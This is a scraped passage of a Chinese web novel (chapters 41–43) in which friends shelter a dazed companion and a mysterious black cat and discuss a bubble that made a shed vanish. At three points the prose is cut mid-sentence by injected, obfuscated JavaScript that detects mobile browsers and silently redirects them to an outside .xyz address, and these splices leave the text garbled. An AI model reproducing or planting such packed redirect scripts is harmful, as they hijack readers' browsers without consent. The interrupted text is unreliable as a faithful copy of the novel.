唐镜和郑落落虽然身体素质都不错,但这么一天折腾下来,也有一种筋疲力尽的感觉,一进屋子,摊在沙发上,只觉得浑身肌肉,就像被大锤砸过一遍,说什么都不想动了。 倒是伊峰秋和齐修,虽然身上沾着不少泥土草叶,可是不管是从神情,还是从举动上,都看不出半分疲倦感。 好像上山下山,所经历的这些辛苦,对他们来说,更像一场惬意的郊游。 真是人比人,气死人。 伊峰秋给唐镜和郑落落递来两杯水。 唐镜一饮而尽,一杯热水下肚,总算缓过来。 其实体力上的消耗是一方面,可是在那梦幻般的空间里,所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234668|181819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经历的一切,对精神上的冲击却更大。 唐镜靠在沙发上,疲惫如潮水般袭来,想要把她淹没。 伊峰秋倚在餐桌边上,修长的手指敲着桌面,沉吟了一会,才说道:“你们先在这里休息一会,吃点东西,我现在去正门影壁那里去看看,等我回来以后,咱们就赶回市区。” “连夜赶回市区?我已经没力气了,今晚就在这里休息一下吧。”郑落落有气无力的说道。 唐镜想到了正门影壁里的那只黑猫,他是要去看看那只黑猫在不在吗? 白天的时候,她看到的只是画在影壁上的黑猫图像,现在天已经黑下来了,它会不会又变成一只活生生的黑猫? “我跟你一起去。”唐镜陡然来了精神,也不知道从哪里来的力气,竟然从沙发上站起来。 “你在这里歇着,看好齐修,留郑落落一个人在这里不太好,我很快就回来。”伊峰秋一边说,一边推门往外走去。 虽然唐镜很想跟他一起走,可是要把郑落落和齐修单独留在一起,她确实也不放心,只能眼睁睁看着他离开。 齐修站在中央,一动不动,仿佛又变成了座玉雕。 唐镜起身从柜子里拿出齐修储备的罐头、面包和水,摆在桌子上,招呼郑落落:“先过来吃点东西吧。” 郑落落扶着腰走过来,两个人刚拿起吃的,突然觉得有些不对,齐修还站在原地一动不动。 唐镜冲齐修招招手:“你不饿吗,过来吃东西。” 齐修这次的反应倒是挺快的,不过不是回答,而是肚子咕咕叫了两下,他慢慢朝唐镜伸出手:“饿了。” 齐修伸出来的手白皙修长,精美的像玉雕,黑白两枚玉环套在中指上,莹润生光,完全是不折不扣的艺术品。 可唐镜却毫没有欣赏的心情,只想一巴掌打掉这只手。 他这是神马意思? 衣来伸手,饭来张口? 她既不是他妈,又不是他保姆,完全没兴趣伺候他。 “肚子饿了,就自己过来吃,你的腿长在你身上,又没长在我身上。”唐镜不再理他,自顾自的拿面包夹了一片牛肉吃起来。 齐修纯澈的眸子瞬也不瞬,视线好像穿过了墙壁,也不知道落点在哪里,虽然能听到他的肚子时不时咕咕叫两声,可是他就那样伸着手呆站着。 一直等到唐镜和郑落落都吃饱了,齐修还保持着原样,一动不动站着。 “小镜,我怀疑他很有可能就这样站到饿死。”郑落落朝齐修瞥了一眼,低声对我说。 唐镜看了看齐修,非常同意郑落落的判断。 “别看我,我对伺候少爷神马的事情没什么兴趣。”还没等唐镜说话,郑落落就先来了一句,拿起一瓶水,又重新把自己扔到了沙发上。 “齐修算是白交了你这么个朋友。”唐镜嘟哝着,拿了片面包,裹了牛肉,放到齐修伸出来的手上。 齐修接过面包,低头慢慢吃下来,动作优雅从容,就仿佛正在吃法国大餐。 “小镜,你说齐修变成这样,是好事还是坏事?”郑落落看着齐修,神情有些迷茫,“老实说,我还是喜欢以前那个齐修,是个活生生的人,哎。” “不管怎么样,总比变成那个莫纳星人好。” “这到也是,”郑落落边说,边从沙发上站起来,走到洗手间,很快拿了块热毛巾出来,递给齐修,“擦擦脸吧。” 唐镜就知道,郑落落向来是刀子嘴豆腐心,嘴里说的再不在乎,行动上却一点都不含糊,自己脸都没顾得擦洗,就顾着齐修了。 齐修却没有接毛巾,只定定看着郑落落,似乎不理解她说什么。 “真是被你打败了,”郑落落嘟哝着,拿毛巾给齐修脸上抹了两把,又把他头发上沾的草叶细心摘掉。 齐修依旧像个冰雕似的,站在那里一动不动,任凭郑落落拾掇他,就好像乖的不能在乖的小孩。 唐镜忍不住叹了口气,现在的齐修和以前的齐修相比,真是判若两人。他都成这样了,关于莫纳星人的事情,看来也不用对他说了,反正是对牛弹琴。 就在这时,门突然被推开,伊峰秋走了进来,他肩膀上蹲了只黑猫,毛皮光滑,眼睛又圆又大,脖子上戴着条细细的链子。 正是照壁洞里的那只黑猫…… 41. 第 41 章 看见伊峰秋带着黑猫走进房间,唐镜的眼珠险些从眼眶里掉下来! 难道真是天黑以后,那画在照壁上的黑猫,就会变成一只活生生的猫? 那么白天的时候,它会不会又变成一幅画? 伊峰秋是怎么把这只猫弄出来的?为什么又要把它带回来? 无数疑问在脑海里翻涌,她却又不知从何问起。 倒是郑落落,她并不知道黑猫的来历,所以看见伊峰秋肩膀上坐了只黑猫,倒没什么困惑,只好奇问:“这猫还挺神气的,伊峰秋,你从哪里抓来了这么只野猫?它看上去好乖啊!” 伊峰秋走到桌边,拿起一瓶矿泉水,仰头喝了一大口,这才说:“不是我抓来的,是它主动跟着我,算起来也和我有缘,我就收留了它。” 唐镜看着黑猫脖子上的链子,接头的地方有熔化的迹象,多半是伊峰秋拿了什么工具,把链子弄断,让黑猫恢复了自由身。 黑猫睁着圆溜溜的眼睛,看了看唐镜,挥了挥右爪,又喵呜叫了一声,分明是向她打招呼。 它还记得她呢。 唐镜觉得它这个动作特别萌,顿时忘了它诡异的来历,也笑着朝它挥了挥手:“猫大人,你好。” 黑猫放下爪子,端坐在伊峰秋肩膀上,点了点头,颇有几分威严气势,倒也和猫大人的称呼挺配。 郑落落忍不住被逗笑了:“咦,小镜,这只猫好神奇啊,它好像听得懂你说话,难道是被谁家养的猫,走失了?” 唐镜点点头:“很有可能,反正我觉得这只猫,肯定不是一般的猫。” 黑猫看看她,看看郑落落,最后视线停留在齐修身上。 齐修自顾自安静的吃着面包,不管是伊峰秋还是肩膀上的黑猫,都没有引起他的半点注意。 他就像一个完全沉浸在自己世界里的孩子,对外界的任何事物,都是视而不见,听而不闻。 黑猫盯着齐修看了一会,歪了歪脑袋,目光中似乎有些迷惑,但是很快它就收回了视线,看向餐桌。 在看到餐桌上的牛肉干时,它鼻尖突然翕张了几下,本来就又圆又大的瞳孔,仿佛突然间变得更圆更亮了。 它唰的一下,直接从伊峰秋肩膀上跳到餐桌上,一爪子伸出去,毫不客气的抓了一大块牛肉干,埋头大吃起来。 看它吃东西的样子,唐镜觉得,它确实是那只禁锢在照壁里黑猫。 她忍不住调侃:“猫大人啊,你这是有多久没吃过东西了?” 黑猫大人埋头苦吃,显然没有心思理会她。 “收拾下东西,我们准备出发。”伊峰秋匆匆塞了一个面包。 郑落落也不再反对,经过休息,她的体力也恢复了一些,看到齐修这个样子,她也不想再继续待在这里了 “你要把它也带回去?”唐镜指指埋头大吃的黑猫,低声问伊峰秋。 伊峰秋点点头:“先带回我家。” 当着郑落落的面,她也不好细问,于是又指了指齐修:“那他怎么办?” 齐修已经吃完了面包,又像只玉雕一样站在那里,呆呆看着墙壁,看是他的目光,却又像是已经穿透墙壁,看向无限远方。 伊峰秋扬了扬眉毛,显然也有点为难,看齐修这个样子,完全就一生活无法自理的自闭症儿童,肯定不能让他一个人待着。 想了想,伊峰秋问郑落落:“你知道他家在哪里吗?家里还有什么亲人?” “他一个人住在兰庭公寓,父母都移民到了国外。”郑落落难得苦笑了一下,“他现在这样子,身边必须得有个人看着,对了,他变成这样,最好不要让别人知道,尤其是他父母。” 唐镜想想也对,得先想办法让齐修恢复正常,否则他们怎么向他父母解释? 他身体里有个外星人? 外星人和他自身灵魂相爱相杀,以至于他变成现在这样? 估计齐修父母肯定会以为他们疯了。 “我们倒是可以把他先带到身边,不过他的生意怎么办?”唐镜问郑落落。 “没事,古玩店和堂前都不需要他亲自打点,他经常去印度一待就是半年,那些员工已经习惯见不到老板了。” “那他父母怎么办?” “到时他父母打电话过来,我就说他去喜马拉雅山禅修去了,反正那鬼地方也没信号,他父母也习惯他一消失就是一年半载。”郑落落说道。 好吧,看来齐修就算暂时不和外界联系,也不会引起什么注意。 等黑猫吃饱了牛肉,他们把房间收拾了一下,四个人一只黑猫,离开小院,往山下停车场走去。 回到市区已经十点多了。黑猫一直蹲在副驾驶位置前的驾驶台上,眼睛瞪的溜圆,看着路边的景象,时不时用爪子搔搔脑袋,显出几分迷惑不解来。 特别是进入市区以后,路两边的高楼大厦,还有来来往往的车流人流,让黑猫几乎蹲不稳了,抬起右爪,对着伊峰秋疯狂比划。 伊峰秋专心开车,也不怎么理会它,黑猫又转向坐在副驾驶位置上的唐镜,爪子跟抽风似的舞动着。 唐镜拍了拍它的脑袋:“大黑,别写了,赶明我教你汉字吧,不然你这爪子就算写断了,我也看不明白。” 黑猫虽然听不懂我说话,可是显然对她叫它大黑不爽,偏了偏头,有些傲慢的举爪把她的手推开。 “你叫它大黑?为什么起这么搞笑的名字?”郑落落好奇问道。 “这猫浑身乌漆嘛黑的,你不觉得这个名字很适合它吗?” 黑猫很显然平静下来了,端坐在驾驶台上,爪子也不动了,眼睛依旧睁的溜圆,瞬也不瞬的看着窗外。 齐修坐在后面,还保持着那呆呆的样子。 四人本来决定,伊峰秋先把唐镜和郑落落分别送回家,然后再把齐修带回他家,先在他那住一晚,等明天四个人碰面再商量,怎么安置齐修。 可是,当伊峰秋把车停在唐镜家楼下,唐镜推开车门下车后,齐修居然也推开车门,跟着她下了车,像影子一样站在她身后。 唐镜忍不住抽了抽嘴角,感觉有些不妙。 郑落落推开车门,走下来,想要把齐修重新拉回车上,齐修却躲过她的手,依旧跟在唐镜身后。 唐镜勉强挤出一个笑容:“我到家了,你回车上去,伊峰秋会带你去他家,他家很舒服的,喏,看见那只可爱的黑猫没有,它会陪着你的。” 齐修面无表情,路灯照在他身上,整个人更像一尊玉雕了。 伊峰秋坐在驾驶位上,车窗完全摇下去了,脸色一如既往的冷峻,看向唐镜的目光,却有一种难以言说的温柔。 这温柔,却让她更加不自在。 郑落落几次拉齐修,都被他避开,看他是认定唐镜了,顿时有些幸灾乐祸的说:“小镜,恭喜你多了个小尾巴。” “哼唧,如果我有小尾巴了,你以为你就能独善其身?你赶紧把他弄上车,我累死了,只想一头扎倒在床上,睡死过去。”唐镜冲伊峰秋挥挥手,“晚安。” 说完,她转身就走。 可是,为什么会有两个脚步声? 唐镜停下脚步,有些僵硬的转过头,果然,齐修亦步亦趋的跟在身后,如影随形。 伊峰秋坐在车里,冷峻的表情里面,多了点戏谑的笑意。 郑落落朝唐镜摊开手掌,做了个无能为力的姿势:“我可拉不住他,你又不是不知道,他可是高手中的高手。” 唐镜的头开始有些痛,忍不住揉了揉太阳穴,勉强挤出友好笑容,冲着齐修说道:“你跟着我干嘛?” 玉雕静静的说:“跟着你,有饭吃。” …… “你跟着他,跟着她,都会有饭吃的。”唐镜好不容易才回过神来,赶紧指了指伊峰秋,又指了指郑落落,假装没有看见他们两个人忍俊不禁的表情。 “跟着你,有饭吃。”玉雕静静的说。 …… 当唐镜尝试了七八种方法,依旧无法打发掉齐修后,她终于悲惨的认识到,也许,大概,或许,可能,她沾上了一个甩不掉的牛皮糖。 从始至终,他就用一句话对付她“跟着你,有饭吃”。 唐镜终于明白了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234669|181819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,应该是在齐修肚子饿的时候,她是那个给他送去面包的人,所以,他就认定她了。 是谁说的,要想得到一个男人的心,先要俘获他的胃。 原来,有的时候,一不小心填饱了一个男人的胃,就能拐走整个人啊…… 当唐镜确定,今晚是无论如何都甩不掉齐修了,一直冷眼旁观的伊峰秋,终于发话了:“小镜,今晚你住我那里。” 唐镜的脸腾的一下热起来,总觉得这话怎么听怎么别扭,即使知道伊峰秋是为了解决齐修这个牛皮糖而已。 这确实也是目前最好的一个办法,她总不能让齐修住她这吧,就一间房,先不说孤男寡女共处一室,就齐修目前这种状况,万一体内的外星人出什么幺蛾子,一把掐死她也很有可能。 再说了,就算她同意齐修住她这里,伊峰秋也绝对不会同意的。 但是,住伊峰秋那里,为什么总觉得怪怪的呢? 唐镜求救般的看向郑落落:“你跟我一起去伊队那里吧,就当是陪我了。” “一个大灯泡不够,还要再添上我这个小灯泡?”郑落落打趣道,“伊峰秋,你回家就不用开灯了。” “瞎说什么呢,反正你要是不陪我去,我就带着这个牛皮糖住你那里去!”唐镜威胁道。 郑落落赶紧摆手:“行了行了,我陪你还不成吗?齐修这个样子,住我那里,我还不得疯了?伊队,你家里地方够住吗?” 伊峰秋没说话,只是点了点头。 既然决定了,唐镜就上楼去准备,拿些换洗衣服,洗漱用品之类的,齐修亦步亦趋跟着她。 伊峰秋显然不会让齐修单独跟唐镜上楼,也从车里下来陪着上去,郑落落和黑猫留在车里。 唐镜拿钥匙开门的时候,庆幸自己房间里还算整洁,不至于在伊峰秋和齐修面前出糗。 她收拾东西的时候,齐修还是像尊玉雕般,静静站在房间中央,伊峰秋倚在客厅的书桌边,随手翻着本武术方面的书。 离开唐镜住的地方以后,伊峰秋又开车去了郑落落家,去拿她的东西。这么来回折腾了一番,四人一猫到伊峰秋家的时候,已经快半夜了。 伊峰秋住在清水苑,是套三室两厅的房子,原木色的地板和家具,简约整洁,透着温馨之意,倒是和他本人阴郁冷峻的气质迥然不同。 唐镜和郑落落两个人一间客房,齐修单独睡另外一间客房,黑猫径直卧在了客厅沙发上。 这猫从被影壁里放出来以后,就一直处在亢奋状态,现在明显已经疲倦了,往沙发上一躺,就打起了小呼噜。 唐镜洗完澡回到卧室,郑落落已经睡着了,毕竟这么一天折腾下来,还是挺累的。 唐镜躺在床上,不知道为什么,明明很累,却怎么也睡不着。夜已经深了,周围变得很安静,能听到窗外的风声,也能听到伊峰秋从浴室到他房间的脚步声,关门声。 万籁无声。 唐镜尽量收摄心神,把注意力放在呼吸上,让自己静下来,也不知道过了多久,忽然?“听”到脚步声。 其实不能说是听,应该是一种感觉。 因为那脚步声实在太轻,比猫在地毯上走路还要轻,正常人压根听不到。 脚步声停在她和郑落落睡的房间的门外…… 也不知道是不是因为伊峰秋艺高人胆大,还是什么别的原因,他房子里的主卧、客卧和书房的门,都没有装锁。 所以,脚步声一停在门口,卧室的门就被推开了。 借着走廊的夜灯,唐镜看到齐修站在门口,穿着一身白色的长袖长裤睡衣,纽扣一直扣到领口,遮的严严实实,怀里抱着个大枕头,悄无声息的走了进来。 按理说,一个大男人,抱着个枕头到处跑,多少会给人一种别扭感,可是偏偏齐修做出来,不但不觉得别扭,反而,有那么一点点的诱惑感…… 他眼睛微微垂下,长长的睫毛在眼下投下一抹阴影,光着脚,有些像迷路的小孩,一步一步走进来。 还没等唐镜反应过来,齐修就已经走到了床边,掀开被子,就要往被窝里钻。 42. 第 42 章 唐镜睡在靠近门的这面,郑落落睡在里面。 齐修这么一钻,吓的唐镜一下从床上坐起来。 郑落落大概是太累了,睡的那叫一个沉,这么大的动作,都没惊醒她,只翻了个身,睡的更沉了。 就在这时候,一个人影从门口掠了进来,伸手就去拎齐修的衣领,正是伊峰秋,他穿着一身浅蓝色的睡衣,领口半敞着,露出小半个结实的胸膛。 齐修虽然呆呆的,可是身手却依然迅捷无比,身体往后一折,避开伊峰秋伸过来的手。 不过这么一躲,他就离床远了点。 伊峰秋身体一转,就把齐修和床隔了开来,唐镜坐在床上,见伊峰秋脸色有些不好看,目光有些冷。 齐修抱着枕头,又往床这面走来,一边走,一边伸手去拨伊峰秋,像是嫌弃他挡住了自己的路。 伊峰秋自然不会让齐修得逞,一拳挥向齐修的肩膀,这拳要是打实了,齐修估计整个人都要飞出去。 齐修身体一偏,避开伊峰秋的拳头,同时也出手了。 两个人就这么在床前的三尺之地打了起来,拳来脚往,贴身缠斗,却又没发出一点声音,只见一道蓝影,一道白影,倏近倏远,看得人眼花缭乱。 再配上旁边郑落落小小的鼾声,唐镜觉得此情此景,如在梦中,一点都不真实。 两条人影蓦的分开,伊峰秋和齐修立在当地,四目相对,伊峰秋面无表情,齐修则还是那种呆呆的样子。 “不要一个人睡。” 齐修嘟哝了一句,把抱着的枕头放到床边的地板上,往下一倒,枕着枕头,眼睛一闭,居然睡着了。 唐镜坐在床上,看着伊峰秋,苦笑了一下。 伊峰秋扬了扬眉毛,做了个手势,示意她跟他出去。 唐镜裹紧睡衣,小心翼翼的从床上溜下来,尽量不惊动床上的郑落落,和地板上的齐修。 伊峰秋转身走出门,唐镜跟在他身后,轻手轻脚,穿过客厅,一直走进另外一间客房。 难道伊峰秋准备让她睡在这间客房? 可是,把齐修和郑落落单独留在客卧,真的好吗?唐镜怀疑郑落落第二天醒来,没准会杀了她。 伊峰秋没说话,只是把床上的被子卷起来,夹着被子,又带着她走到他住的主卧,拿了一个枕头塞给她,自己又夹了一床被子。 然后,唐镜茫然的跟着伊峰秋,又重新回到客卧。 伊峰秋把一床被子扔到齐修身上,另外一床被子丢在床脚的地板上,再从唐镜手里拿过枕头,放到地板上。 唐镜突然明白了伊峰秋的意思,这是四个人共处一室的打算咩? 好吧,她虽然觉得地上睡两个大男人,很奇怪的感觉,可是想来想去,也只有这个方法是最好的了。 首先,她是不会放心让齐修和郑落落两个人睡在一间屋里。 其次,她也不可能让自己和齐修单独睡一间屋里,况且,就算她同意,伊峰秋也不会让这种情况出现。 最后,如果她、郑落落和齐修三个人睡一间屋里,那么伊峰秋一定不会放心。 当然,还有一种选择,那就是让齐修和伊峰秋睡一间屋子里。 不过,唐镜可以肯定,不管是齐修还是伊峰秋,应该都不可能接受这种安排,两个人十有八九会大打出手。 最终,唐镜和郑落落睡在床上,伊峰秋和齐修睡在地上,开始了四人同居生活的第一晚。 至于第二天早上,从睡梦中醒来的郑落落,是如何的抓狂、惊讶、不敢置信,这里就不详细赘述了。 看齐修这情形,显然也不大可能送他回他的住处了,伊峰秋带着三个人,去了一趟兰庭公寓,拿了些齐修的换洗衣服和日常用品。 唐镜和郑落落迫于无奈,也只能暂住在伊峰秋这里了。 四人一猫,开启了同居生活模式。 接下来的几天,齐修依然像牛皮糖一样粘着唐镜,伊峰秋和郑落落开始还轮流抽出时间陪着她,但是毕竟两个人都有工作要忙,有时候也不得不让她和齐修单独在一起。 唐镜已经一万次的后悔,为什么当初要给齐修送去那片面包,填饱了一个男人的胃,结果就是给自己找了个甩不掉的牛皮糖! 以至于,她不得不向姜姜请了长假,她要是这么带着齐修去上课,到了馆里,肯定会成为围观对象,而且,一定会传出各种匪夷所思的八卦来。 唐镜现在还有一个重要的任务,就是教大黑简体中文,让我的生活不至于太无聊。 不得不说,大黑是一个非常聪明的“猫”,短短几天时间,它就能通过电脑,掌握了一些简体中文,会用爪子比划出来,跟唐镜交流。 郑落落因为会一些甲骨文,所以跟大黑的交流反而更顺畅。 至于伊峰秋,则越来越忙,唐镜曾经问过他,那天齐夫人最后跟他直接意识交流的内容,他只是淡淡一笑,说到时候你就知道了。 他既然这么说,唐镜就知道追问也没有用。不过她问了他另外的问题,那就是,那天跟踪他到齐家老宅,最后被齐修抓住的人,是什么来路?那间房子,还有那个人到底去了哪里? 伊峰秋对这两个问题,倒是痛快的回答了。 原来,自从他开始调查叶菲失踪的案件后,就发现有人开始跟踪他,他一直不动声色,却也在暗中调查跟踪他的人,发现跟踪他的人,绰号铁蝎,是一个国际雇佣军组织的成员。 唐镜想起来,当初齐修抓住那个人的时候,用催眠术逼问的时候,那人说他叫铁蝎。 不过,叶菲的失踪,怎么又会和雇佣军扯上关系? 扯上了外星人,又扯上了雇佣军,唐镜有种脑袋要爆炸的感觉。 伊峰秋把铁蝎引到堆杂物的小房间以后,就藏身在离小院后面的山坡上,拿着红外线夜视镜,一直在观察院子里的情形。 他把铁蝎当作诱饵,一方面是试探齐修,另外一方面,也是想看看能不能引出铁蝎后面的人。 齐修把铁蝎抓住以后,关进那间堆杂物的小屋,都没有逃过伊峰秋的眼睛,变故发生在凌晨两点四十五分。 伊峰秋当时藏身在山坡上,看见齐修把铁蝎关进小屋,也看见唐镜走到院子里,和齐修交谈,当然,隔了那么远,他自然听不到两个人的对话。 等齐修离开院子后,他就给唐镜发了条微信,让她好戏看完,早点休息。 伊峰秋看见齐修离开院子以后,曾经考虑离开藏身的山坡,跟踪齐修,看看他去做什么,不过他想了想,觉得当务之急,还是先把铁蝎后面的人引出来,所以依然静静的待在山坡上。 齐修重新回到院子的时候,伊峰秋瞄了一眼手表,是凌晨两点整。 他看见齐修在小屋前面站了一会,并没有推门进去。齐修大约站了十分钟,转身进了正屋。 因为伊峰秋一直通过夜视仪观察小院里的动静,所以,当从夜视仪里看见一道白光的时候,他立刻察觉到不对劲,第一时间摘下了夜视仪。 要知道,夜视仪的基本原理是红外线感应,观察的物体,散发的温度越高,则亮度和清晰度越好。 能在夜视仪里看到白光,证明这个物体,现实中的温度至少高到足以烤熟牛肉。 当他摘下夜视仪的时候,就看见那道白光所在的地方,是一个透明的,倒映着淡淡星光的气泡,漂浮在小院的上空。 准确来说,如果不是当晚的星光格外明亮,如果不是他事先确定了那道白光的位置,如果不是他的视力极好,那么他几乎不可能发现那个气泡的存在。 在发现气泡的第一时间,伊峰秋立刻就想到了郑落落的那个梦,以及齐夫人说过的,在基地里发现的,漂浮在透明柱子里的各色气泡。 可以想象,当时伊峰秋的心,几乎是一下就提到了嗓子眼,他紧紧盯着那漂浮的气泡,眼睛都不敢眨一下,生怕下一个瞬间,气泡就消失了。 气泡开始不过是一个篮球大小,在小院上空慢慢向堆杂物的小屋飘去,在飘的过程中,不断膨胀,等飘到小屋上空的时候,气泡已经有半个屋顶那么大了。 当气泡碰到屋顶的时候,整个小屋突然动了动,随后,伊峰秋就发现,小屋离开了地面,整个被包在了气泡里面。 再下一个瞬间,气泡裹着小屋,往上空飘去,一边飘,一边开始缩小。 当缩小到拳头大小的时候,气泡连着气泡里面的小屋,转眼就消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234670|181819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失在了伊峰秋的视线里。 院子的那一角空空荡荡,就好像从来没有小屋存在过似的。 当时伊峰秋被这一幕情景彻底惊呆了,要知道,身为专业人员的他,自然第一时间就意识到了,这个气泡是一件多么可怕的武器。 如果想要用气泡来实施犯罪的话,以目前的科技手段,那绝对是防不胜防。 唐镜听到这里,也是头皮阵阵发麻,能让一间房子神不知鬼不觉的消失,那么想要绑架个什么总统之类的,还不是手到擒来? “我到现在也没想明白,对方使出这么厉害的武器,难道仅仅是为了带走铁蝎?据我所知,铁蝎在雇佣军组织里,也不过是个小头目罢了,想要带走他,完全不需要用这种方法。” 伊峰秋一边说,一边把玩着指缝间的香烟。 “说不定是让咱们见识下他们的厉害,故意炫耀实力,好让咱们知难而退。”唐镜半开玩笑的说道。 “如果他们真是这么想,那我会很为他们的智商担忧。”伊峰秋一本正经的说。 唐镜忍不住笑了,头皮一下放松下来。 伊峰秋给人的感觉,始终是冷峻中带着点阴郁,可是这样严肃的人,偶然说出句幽默的话,这种强烈的反差,真是又酷又萌。 唐镜跟伊峰秋说这番话的时候,是在他家的阳台上,落地窗把阳台和客厅隔开来,客厅里面,郑落落和大黑正在看看电视,齐修盘坐在沙发角落里,就像老僧入定般,半闭着眼睛,一动不动。 落地窗关的很严实,唐镜听不见客厅里的电视声音,所以她相信,客厅里的人,应该听不见她和伊峰秋的对话。 可是在伊峰秋说完“我很为他们的智商担忧”这句话的时候,唐镜眼角余光突然看到齐修的眼睛睁开了,朝这面看了一眼。 眼神依然很纯澈,就像不曾沾染过世事的孩子。 唐镜却有一种很奇怪的感觉,似乎齐修听到了她和伊峰秋的话,只是他并不关心,甚至也不明白这些话里包含的内容。 齐修的目光只是在唐镜身上停留了一瞬间,随即就收回目光,闭上眼睛,仿佛又重新回到自己的世界,刚才听到的看到的,转瞬间就已经忘却。 如风过无痕。 伊峰秋看到唐镜的表情,显然察觉到了什么,他本来望着夜空,此时目光一转,看向客厅里的诸人,最后目光停留在齐修身上。 只不过当他看向客厅的时候,齐修已经闭上了眼睛,所以他并没有发现齐修刹那间的异样。 但是显然,他感觉到了一点点的不对劲,挑了挑眉毛,眼中露出一丝询问之意。 唐镜摇了摇头,倒不是故意隐瞒伊峰秋,只是实在不知道该怎么向他解释,反正也只是微不足道的小事,不提也罢。 “会不会当初叶菲的失踪,也跟那神秘的气泡有关系?” 唐镜越想越觉得这个可能性很大,那个气泡,既然可大可小,那么当初私教室的窗户,虽然人出不去,但是可大可小的气泡完全可以自由的进出教室。 伊峰秋点点头:“当初我看到那间屋子被气泡带走后,就想到叶菲很有可能也是被气泡带走的。那气泡里面似乎是一个特别的空间,大小的维度和我们这个时空不同。” “佛教里有须弥芥子一说,就是说像须弥山那么大的一座山,也可以装进小如芥子的空间里,真是很难想象的存在啊。” 唐镜越来越觉得,释迦牟尼很了不起,佛教里面提到的很多观点,匪夷所思,却又不断被现代物理学证明。 “物理学家有提到过高维空间的概念,我们这个世界,加上时间这个维度,就是四维空间,再往上,还有五维,六维空间,目前科学家认为,存在的最高维度是九维空间。” 唐镜完全想象不出来五维、六维空间是什么状态,更别提九维空间这种逆天存在了。 伊峰秋伸出手指,弹了下她的脑门:“譬如蚂蚁在一张白纸上爬,对于它来说,世界就是二维的,这时候,天空有个雄鹰飞过,阳光把雄鹰的影子投到白纸上,蚂蚁只能看到雄鹰在它的空间的投影,却永远想象不出来,雄鹰的世界。” 也许生活在高维空间里的生命,看人类,也像是在看蚂蚁…… 43. 第 43 章 不得不说,伊峰秋的这个比喻很形象,让唐镜一下子对高维和低维就有了很直观的感觉。 对低维生命来说,高维世界就是一个神一样的存在。 “那你的意思就是,对于高维生命来说,想要灭掉低维生命,岂不是就是跟人碾碎一只蚂蚁那么轻松?”唐镜有些悻悻然说道,顺手揉了揉额头。 伊峰秋只是轻轻的弹了下她的脑门,当然唐镜并不觉得疼,不过感觉到他手指碰到的皮肤微微发热。 而且,心跳貌似快了点。 不对,他什么时候竟然可以随便弹她额头了? 不是说好的,她只是个协助调查的证人吗? “听说过二向箔吗?”伊峰秋一句话,成功又把唐镜的注意力给抓回来了。 “二向箔?那是什么东西?听着很高大上哦!” “有一本科幻小说,提到的一种武器。宇宙间的一处高级生命,发现了地球人类的存在,人类呈加速度发展的智慧,让这处高级生命感觉到威胁,他们就向地球所在的太阳系扔了张二向箔。” “向太阳系扔了张二向箔?” 不明觉厉! “然后整个太阳系就开始了降维的过程,从三维降到二维,就好像一个篮球被展开,从一个球体,变成了一个平面。你可以想象一下,一个立体的人,突然开始融化,皮肤、骨骼、血液、内脏……统统摊开在一张纸上,变成了一个平面。” 唐镜打了个寒颤。 “太阳、地球、木星……也统统被展开,由三维变成二维存在,而且这个过程是不可逆的。” “整个太阳系,就变成了一张无比巨大的平面图?”唐镜脑补了下这个画面,太阳系全部摊开,变成了一幅画,这画要有多大啊,能不能铺满半个银河系? “是啊,高维生命,随手丢一张二向箔,就灭掉了整个太阳系。”伊峰秋笑笑,“这本科幻小说很有意思,我书房里有一套,你有空可以翻着看看。” “脑洞开的真大,二向箔,降维攻击,作者是怎么想出来的?”唐镜喃喃说道。 “其实咱们人类早就发明了二向箔,专门对蚊虫实行降维攻击。”伊峰秋眨了眨眼睛,眼神中闪过一丝孩子气般的狡黠。 他这么一个冷峻阴郁的人,做出这个神情来,真是萌翻了。 唐镜咽了下口水,这才反应过来,他刚才说人类发明了二向箔?什么意思? “你等着,我拿二向箔出来。”伊峰秋拉开阳台的玻璃移门,走进客厅,很快,他就拿了一个苍蝇拍走回来。 神马意思?话说,苍蝇拍这东西,唐镜还是很小的时候见过,现在估计城市里买都买不到了吧,伊峰秋家里怎么会有这个东西? “看好了,二向箔!” 伊峰秋苍蝇拍一挥,一只在阳台围栏上爬行的小虫,啪的一下被拍扁了,粘在苍蝇拍上。 果然是降维攻击,三维立体的小虫,此刻变成了扁扁的一片,黏在苍蝇拍上。 看着伊峰秋得意的笑容,唐镜不由得想起了一句话,所有的男人,身体里都住着一个没长大的小孩,只是他们喜欢的玩具不一样了…… 就这样,在阳台上,看着伊峰秋挥舞着地球人发明的“二向箔”,演示如何把小飞虫从三维降到二维存在,唐镜觉得和伊峰秋之间突然有了一种莫名其妙的亲近感。 